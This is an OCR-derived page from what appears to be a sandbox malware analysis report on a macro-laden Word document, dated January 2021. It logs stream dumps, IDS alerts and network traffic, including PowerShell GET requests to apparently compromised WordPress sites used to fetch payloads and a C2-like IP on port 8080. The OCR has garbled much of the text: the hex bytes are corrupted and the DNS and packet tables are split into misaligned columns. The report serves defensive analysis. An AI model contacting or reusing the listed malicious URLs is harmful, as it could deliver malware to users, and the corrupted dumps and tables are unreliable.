62 00 30 00 68 00 6d

Macros/VBA/_VBA_PROJECT
data

3895

5.10348295591

False

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...0.#.9.
#C\\PROGRA~2\\COMMON.~.1.\\MICROS
.1.\.V.B.A.\.V.B.A.6.\.V.B.E.6...D.L.L.#.V.i.s.u.a.l. .B.a.¢

i.c. L F.

cc 61 85 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 30 00 23 00

Stream Path: Macros/VBAIdir, File Type: Apollo m68k COFF executable not stripped - version 18435, Stream Size:

667

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:

Copyright null 2021

Macros/VBA/dir

Apollo m68k COFF executable not stripped - version 18435
667

6.36338461124

True
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General

Data ASCIl: 0*..... p..H.."..d..... m..2.4.@..... =....b............ a
%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.
L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#
OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C....t.
m....!O0ffic
Data Raw: 01 97 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4

04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 01 02 12 98 a7 da 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02

32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30

3032 60303433302d

Stream Path: WordDocument, File Type: data, Stream Size: 22574

General

Stream Path: WordDocument

File Type: data

Stream Size: 22574

Entropy: 3.92066931997

Base64 Encoded: False

Data ASCII: B S bjbj Xoooion.,

K

...... 2.......2 U..ooooaUeo U U U

Data Raw: ec a5 c1 00 5b 80 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 0d 53

00 00 Oe 00 62 6a 62 6a ac fa ac fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
09 04 16 00 2e 58 00 00 ce 90 01 00 ce 90 01 00 0d 4b 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff

0f 00 00 00 00 00
Network Behavior
Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/07/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.22 8.8.8.8
11:47:08.799892
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 10.84.1.70 192.168.2.22
11:47:12.031373
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 10.84.1.70 192.168.2.22
11:47:15.029345
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 10.84.1.70 192.168.2.22
11:47:21.039486
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:32.773394
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:32.773434
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:38.088826
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:38.088841
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:39.372826
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:42.622670
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22
11:47:58.632181
01/07/21- ICMP 399 ICMP Destination Unreachable Host Unreachable 58.97.195.135 192.168.2.22

11:48:13.482004

Network Port Distribution

Total Packets: 77

Copyright null 2021 Page 37 of 70



® 53 (DNS)

® 80 (HTTP)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 7, 2021 11:52:58.693739891 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:58.842674017 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:58.842772007 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:58.843642950 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:58.992291927 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.950355053 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.950407982 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.950551987 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.950727940 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:59.953725100 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.953752995 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.953790903 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.953821898 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.953918934 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:59.953955889 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:59.953970909 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.954005003 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.954042912 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:52:59.954083920 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:52:59.954157114 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.099921942 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.099987984 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.100018024 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.100065947 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.100245953 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.100303888 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.102900028 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.102955103 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.102993011 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103032112 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103069067 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103116035 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103157043 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103183985 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.103193045 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103220940 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.103230953 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103271008 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103285074 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.103308916 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103347063 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103351116 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.103384972 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103430986 CET 80 49711 66.85.46.76 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 7, 2021 11:53:00.103472948 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103476048 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.103509903 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.103578091 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.103637934 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.249253988 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249308109 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249345064 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249403000 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249437094 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.249449968 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249489069 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249497890 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.249525070 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249572992 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.249573946 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.249716997 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.252348900 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.252389908 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.252427101 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.252465963 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.252505064 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:00.252532959 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.252613068 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:00.798701048 CET 49712 80 192.168.2.3 193.187.117.26
Jan 7, 2021 11:53:03.812731981 CET 49712 80 192.168.2.3 193.187.117.26
Jan 7, 2021 11:53:05.103666067 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:05.103765011 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:09.860063076 CET 49712 80 192.168.2.3 193.187.117.26
Jan 7, 2021 11:53:21.897917032 CET 49711 80 192.168.2.3 66.85.46.76
Jan 7, 2021 11:53:21.980900049 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.048924923 CET 80 49711 66.85.46.76 192.168.2.3
Jan 7, 2021 11:53:22.130624056 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.130743980 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.130922079 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.280467033 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.396975040 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397031069 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397078991 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397120953 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397157907 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397161007 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.397196054 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397207975 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.397232056 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397242069 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.397722960 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397763968 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.397790909 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.412858009 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.412991047 CET 49721 80 192.168.2.3 70.32.23.58
Jan 7, 2021 11:53:22.547075987 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.547132015 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.547171116 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.547207117 CET 80 49721 70.32.23.58 192.168.2.3
Jan 7, 2021 11:53:22.547229052 CET 49721 80 192.168.2.3 70.32.23.58

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 7, 2021 11:52:50.368876934 CET 50620 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:50.433484077 CET 53 50620 8.8.8.8 192.168.2.3
Jan 7, 2021 11:52:51.001122952 CET 64938 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:51.099854946 CET 53 64938 8.8.8.8 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 7, 2021 11:52:52.014971018 CET 64938 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:52.086900949 CET 53 64938 8.8.8.8 192.168.2.3
Jan 7, 2021 11:52:53.030926943 CET 64938 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:53.087532997 CET 53 64938 8.8.8.8 192.168.2.3
Jan 7, 2021 11:52:55.046964884 CET 64938 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:55.103463888 CET 53 64938 8.8.8.8 192.168.2.3
Jan 7, 2021 11:52:58.621505022 CET 60152 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:58.678035021 CET 53 60152 8.8.8.8 192.168.2.3
Jan 7, 2021 11:52:59.046937943 CET 64938 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:52:59.103290081 CET 53 64938 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:00.339157104 CET 57544 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:00.797466040 CET 53 57544 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:06.563318968 CET 55984 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:06.622776985 CET 53 55984 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:11.240293026 CET 64185 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:11.288395882 CET 53 64185 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:18.975038052 CET 65110 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:19.035140038 CET 53 65110 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:19.811124086 CET 58361 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:19.869376898 CET 53 58361 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:21.901844978 CET 63492 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:21.980052948 CET 53 63492 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:22.712413073 CET 60831 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:22.863197088 CET 53 60831 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:23.787086010 CET 60100 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:23.857609987 CET 53 60100 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:32.423484087 CET 53195 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:32.489484072 CET 53 53195 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:34.464287043 CET 50141 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:34.515090942 CET 53 50141 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:34.967576027 CET 53023 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:35.070518970 CET 53 53023 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:37.727339983 CET 49563 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:37.775592089 CET 53 49563 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:38.998657942 CET 51352 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:39.046560049 CET 53 51352 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:39.356466055 CET 59349 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:39.416241884 CET 53 59349 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:40.420809984 CET 57084 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:40.468889952 CET 53 57084 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:41.647227049 CET 58823 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:41.697283030 CET 53 58823 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:42.229490995 CET 57568 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:42.277599096 CET 53 57568 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:42.674325943 CET 50540 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:42.741889954 CET 53 50540 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:45.701423883 CET 54366 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:45.749460936 CET 53 54366 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:47.290868044 CET 53034 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:47.347683907 CET 53 53034 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:48.527205944 CET 57762 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:48.575330019 CET 53 57762 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:49.709244013 CET 55435 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:49.757492065 CET 53 55435 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:50.921935081 CET 50713 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:50.972835064 CET 53 50713 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:53.528345108 CET 56132 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:53.579340935 CET 53 56132 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:54.427498102 CET 58987 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:54.475605965 CET 53 58987 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:57.617033958 CET 56579 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:57.675860882 CET 53 56579 8.8.8.8 192.168.2.3
Jan 7, 2021 11:53:58.899104118 CET 60633 53 192.168.2.3 8.8.8.8
Jan 7, 2021 11:53:58.947017908 CET 53 60633 8.8.8.8 192.168.2.3
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Timestamp

Jan 7, 2021 11:54:02.120038033 CET
Jan 7, 2021 11:54:02.176460981 CET
Jan 7, 2021 11:54:07.264889956 CET
Jan 7, 2021 11:54:07.313079119 CET
Jan 7, 2021 11:54:08.453532934 CET
Jan 7, 2021 11:54:08.501606941 CET
Jan 7, 2021 11:54:20.988591909 CET
Jan 7, 2021 11:54:21.039434910 CET
Jan 7, 2021 11:54:24.972522020 CET
Jan 7, 2021 11:54:25.020458937 CET
Jan 7, 2021 11:54:29.190088987 CET
Jan 7, 2021 11:54:29.241059065 CET

ICMP Packets

Timestamp

Jan 7, 2021 11:53:27.254981995 CET
Jan 7, 2021 11:53:27.255003929 CET
Jan 7, 2021 11:53:27.255011082 CET
Jan 7, 2021 11:53:33.014947891 CET
Jan 7, 2021 11:53:36.955491066 CET
Jan 7, 2021 11:53:39.544301033 CET

Jan 7, 2021 11:53:46.735395908 CET

DNS Queries

Timestamp

Jan 7, 2021 11:52:58.621505022 CET
Jan 7, 2021 11:53:00.339157104 CET
Jan 7, 2021 11:53:21.901844978 CET
Jan 7, 2021 11:53:22.712413073 CET

Jan 7, 2021 11:53:23.787086010 CET

DNS Answers

Timestamp Source IP

Jan 7, 2021
11:52:58.678035021
CET

8.8.8.8

Jan 7, 2021
11:53:00.797466040
CET

8.8.8.8

Jan 7, 2021 8.8.8.8
11:53:21.980052948

CET

Jan 7, 2021
11:53:22.863197088
CET

8.8.8.8

Jan 7, 2021
11:53:23.857609987
CET

8.8.8.8

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

HTTP Request Dependency Graph

e wheelcomoving.com
* ketoresetme.com
e 138.197.99.250
e 138.197.99.250:8080

Copyright null 2021

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x699¢c

0xe253

0x8cf0

0x1d82

Oxdfc3

Source Port
61292
53
63619
53
64938
53
61946
53
64910
53
52123
53

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Dest Port
53
61292
53
63619
53
64938
53
61946
53
64910
53
52123

Source IP

58.97.195.135

58.97.195.135

58.97.195.135

58.97.195.135

58.97.195.135

152.170.79.100

152.170.79.100

Trans ID

0x699¢c

0xe253

0x8cf0

0x1d82

Oxdfc3

Name

wheelcomov

ing.com

00zyku.com

ketoresetme.com

rycomputer.com

d-cem.com

Source IP
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

CName

Checksum

bdad

bdad

bdad

bdad

bdad

ardf

ardf

Name

wheelcomov
ing.com

00zyku.com

ketoresetme.com

rycomputer.com

d-cem.com

Address
66.85.46.76

193.187.117.26

70.32.23.58

58.97.195.135

35.214.169.246

Dest IP
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3

Code

(Host
unreachable)

(Host
unreachable)

(Host
unreachable)

(Host
unreachable)

(Host
unreachable)

(Host
unreachable)

(Host
unreachable)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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HTTP Packets

Session ID

0

Timestamp

Jan 7, 2021
11:52:58.843642950 CET

Jan 7, 2021
11:52:59.950355053 CET

Session ID

1

Timestamp

Jan 7, 2021
11:53:22.130922079 CET

Jan 7, 2021
11:53:22.396975040 CET

Session ID

2

Copyright null 2021

Source IP

192.168.2.3
kBytes

transferred

30

31

Source IP

192.168.2.3
kBytes

transferred

199

200

Source IP

192.168.2.3

Source Port

49711

Direction

ouT

Source Port

49721

Direction

ouT

Source Port

49755

Destination IP Destination Port Process

66.85.46.76 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /p/RuMeRPa/ HTTP/1.1
Host: wheelcomoving.com
Connection: Keep-Alive

HTTP/1.1 404 Not Found

Date: Thu, 07 Jan 2021 10:52:58 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Link: <https://wheelcomoving.com/wp-json/>; rel="https://api.w.org/"
Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=100

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 33 32 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 2d
5553 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 0d Oa 09 0d Oa
Data Ascii: 32<IDOCTYPE html><html lang="en-US"><head>

Destination IP Destination Port Process

70.32.23.58 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /wp-content/pmJ/ HTTP/1.1
Host: ketoresetme.com
Connection: Keep-Alive

HTTP/1.1 404 Not Found

Date: Thu, 07 Jan 2021 10:53:22 GMT

Server: Apache

X-Powered-By: PHP/7.3.25

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Link: <https://ketoresetme.com/wp-json/>; rel="https://api.w.org/"

Strict-Transport-Security: max-age=63072000; includeSubDomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Vary: Accept-Encoding

Keep-Alive: timeout=3, max=500

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 32 30 65 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 20 3e 0d Oa 3c 21 2d 2d 5b 69 66 20 49 45 20 38
5d 3e 20 20 20 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 69 65 38 22 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65
6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 5d 3e 20 20 20 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73
3d 22 69 65 39 22 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d Oa 3c 21 2d 2d 5b 69 66 2
067 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3¢ 21 2d 2d
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 50 61 67 65 20 6e
6f 74 20 66 6f 75 6e 64 20 7c 20 44 72 2e 41 6e 64 72 65 61 20 44 61 76 69 73 2c 20 50 75 62 6¢ 69 63 20 48 65 61 6¢C 74
68 20 45 78 70 65 72 74 3c 2f 74 69 74 6¢ 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54
46 2d 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65
6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65 3d 31
2e 30 22 3e 0d 0a 20 20 20 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74
74 70 3a 2f 2f 6b 65 74 6f 72 65 73 65 74 6d 65 2e 63 6f 6d 2f 78 6d 6¢ 72 70 63 2e 70 68 70 22 20 2f 3e 0d Oa 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d
22 68 74 74 70 73 3a 2f 2f 6b 65 74 6f 72 65 73 65 74 6d 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6¢ 6f 61
64 73 2f 32 30 32 30 2f 30 39 2f 74 74 74 2e 70 6e 67 22 3e 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 27 64 6e 73 2d 70 72 65 66 65
74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e Oa 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f
3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6C 69 63 61 74 69
6f 6e 2f 72 73 73 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 44 72 2e 41 6e 64 72 65 61 20 44 61 76 69 73 2¢c 20 50 75 62 6¢
69 63 20 48 65 61 6¢ 74 68 20 45 78 70 65 72 74 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74
74 70 73 3a 2f 2f 6b 65 74 6f

